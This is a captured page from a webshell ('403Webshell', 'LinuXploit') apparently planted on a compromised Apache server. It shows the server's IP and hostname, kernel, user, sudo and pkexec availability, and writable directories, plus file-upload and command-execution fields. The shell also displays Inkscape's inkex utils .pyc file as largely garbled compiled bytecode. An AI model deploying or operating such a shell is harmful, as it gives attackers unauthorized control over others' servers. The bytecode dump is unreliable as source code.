403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/inkex/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/inkex/__pycache__/utils.cpython-310.pyc
o

0�a�@s�dZddlZddlZddlZddlZddlZddlmZddlm	Z	dZ
dZed�\Z
ZejddkZd	Zd
e�d�ZeZdZd
e�de�d�Zd
e�de�de�d�Zd
e�e�de�e�d�Ze�d
e�de�de�de�d�	�Zdd�Zdd�Zdd�ZGdd�de�Zdd�Zdd�Z d d!�Z!d"d#�Z"d$d%�Z#Gd&d'�d'e$�Z%Gd(d)�d)e&�Z'Gd*d+�d+e$�Z(d,d-�Z)e*fd.d/�Z+Gd0d1�d1�Z,d2d3�Z-d:d5d6�Z.iZ/e/�0ej1�e/�0ej1�d;d8d9�Z2dS)<z6
Basic common utility functions for calculated things
�N)�tee)�ArgumentTypeError)�AbortExtension�DependencyError�Boolean�errormsg�����z[0-9]z(?:z+)z[+-]z(?:[eE]�?�)z?\.�|z\.)z?|ccs2�tj�dd��d�D]}tj�|�r|VqdS)N�
PYTHONPATH��:)�os�environ�get�split�path�isdir��pth�r�-/usr/share/inkscape/extensions/inkex/utils.py�_pythonpath2s���rcCs\dtjvrtj�tj�tj�tjdd���Stj�d�}t�D]}|�|�r+|Sq dS)z6Return the user directory where extensions are stored.�INKSCAPE_PROFILE_DIR�
extensions�~N)rrr�abspath�
expanduser�joinr�
startswith)�homerrrr�get_user_directory7s
��

��r$cCs.t�D]}tj�tj�|d��r|SqdS)z5Return the system directory where inkscape's core is.�inkexN)rrrrr!rrrr�get_inkscape_directoryCs

��r&cs eZdZdZ�fdd�Z�ZS)�KeyDictz�
    A normal dictionary, except asking for anything not in the dictionary
    always returns the key itself. This is used for translation dictionaries.
    cs&zt��|�WSty|YSw�N)�super�__getitem__�KeyError)�self�key��	__class__rrr*Os
�zKeyDict.__getitem__)�__name__�
__module__�__qualname__�__doc__r*�
__classcell__rrr.rr'Jsr'cCs$|��dkrdS|��dkrdSdS)zAArgParser function to turn a boolean string into a python boolean�TRUET�FALSEFN)�upper)�valuerrrrVs
rcCst|t�r|St|��d�S)zEnsures the content is bytes�utf8)�
isinstance�bytes�str�encode)�contentrrr�to_bytes^s
r?cCst|�|S)z/Print debug message if debugging is switched on)r)�whatrrr�debugdsrAcOsdS)zA blank function to do nothingNr)�args�kwargsrrr�
do_nothingisrDc	Cstztj�|�Wn)tytj�t|��Ynty1tjjp$d}tj�|�|d��Ynwtj�d�dS)a�Intended for end-user-visible error messages.

       (Currently just writes to stderr with an appended newline, but could do
       something better in future: e.g. could add markup to distinguish error
       messages from status messages or debugging output.)

       Note that this should always be combined with translation:

         import inkex
         ...
         inkex.errormsg(_("This extension requires two selected paths."))
    �ascii�backslashreplace�
N)�sys�stderr�write�	TypeErrorr<�UnicodeEncodeError�encodingr=)�msgrMrrrrms

�rc@s"eZdZdZddd�Zdd�ZdS)	rz7Raised to print a message to the user without backtracercC�
||_dSr()�message)r,rPrrr�__init__��
zAbortExtension.__init__cCst|j�dS)z'write the error message out to the userN)rrP)r,rrrrJ�szAbortExtension.writeN)r)r0r1r2r3rQrJrrrrr�s
rc@�eZdZdZdS)rzBRaised when we need an external python module that isn't availableN�r0r1r2r3rrrrr��rc@rS)�
FragmentErrorz8Raised when trying to do rooty things on an xml fragmentNrTrrrrrV�rUrVcs�fdd�}|S)zX
    Decorator which will turn a generator into a list, tuple or other object type.
    cs��fdd�}|S)Ncs��|i|���Sr(r)rB�kw)�call�kindrr�_outer�sz"to.<locals>._inner.<locals>._outerr)rXrZ�rY)rXr�_inner�szto.<locals>._innerr)rYr\rr[r�to�sr]cs�fdd�t�|�D�S)z�Returns a list of floats from a string with commas or space separators, 
        also splits at -(minus) signs by adding a space in front of the - sign
    csg|]}�|��qSrr)�.0�valr[rr�
<listcomp>�szstrargs.<locals>.<listcomp>)�
NUMBER_REX�findall)�stringrYrr[r�strargs�srdc@s eZdZdZdd�Zdd�ZdS)�
classpropertyz+Combine classmethod and property decoratorscCrOr(��func)r,rgrrrrQ�rRzclassproperty.__init__cCs
|�|�Sr(rf)r,�obj�ownerrrr�__get__�rRzclassproperty.__get__N)r0r1r2r3rQrjrrrrre�srecCs2tj�tj�|��}tj�|�std�|���|S)z8Existing file to read or option used in script argumentszFile not found: {})rrrr �isfiler�format)�name�filenamerrr�filename_arg�sroTcCs6t|�\}}dt|d�fg}|sg}|tt||��S)zBIterate over a list with overlapping pairs (see itertools recipes)N)r�next�list�zip)�iterable�start�first�then�starterrrr�pairwise�s
rx�xcCsHz|dkrtd|�d�|�d�pdti�WSWdSty#YdSw)z�Interpret a function string. All functions from math and random may be used.
    @returns a lambda expression if sucessful; otherwise None.
    rzlambda z: �"�tN)�eval�strip�EVAL_GLOBALS�SyntaxError)�function�variablerrr�	math_eval�s$���r�)T)ry)3r3rrH�random�re�math�	itertoolsr�argparser�__all__�ABORT_STATUS�range�X�Y�version_info�PY3�DIGIT_REX_PART�DIGIT_SEQUENCE_REX_PART�INTEGER_CONSTANT_REX_PART�
SIGN_REX_PART�EXPONENT_REX_PART�FRACTIONAL_CONSTANT_REX_PART� FLOATING_POINT_CONSTANT_REX_PART�compilerarr$r&�dictr'rr?rArDr�	Exceptionr�NotImplementedErrorrrVr]�floatrdrerorxr~�update�__dict__r�rrrr�<module>sR$"



Youez - 2016 - github.com/yon3zu
LinuXploit